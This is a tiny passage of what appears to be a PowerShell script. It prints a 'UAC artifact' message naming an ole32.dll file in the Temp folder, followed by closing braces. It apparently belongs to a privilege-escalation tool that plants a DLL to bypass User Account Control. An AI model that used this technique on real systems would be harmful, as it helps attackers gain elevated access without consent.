echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n"
|
|
}
|
|
}
|
|
} |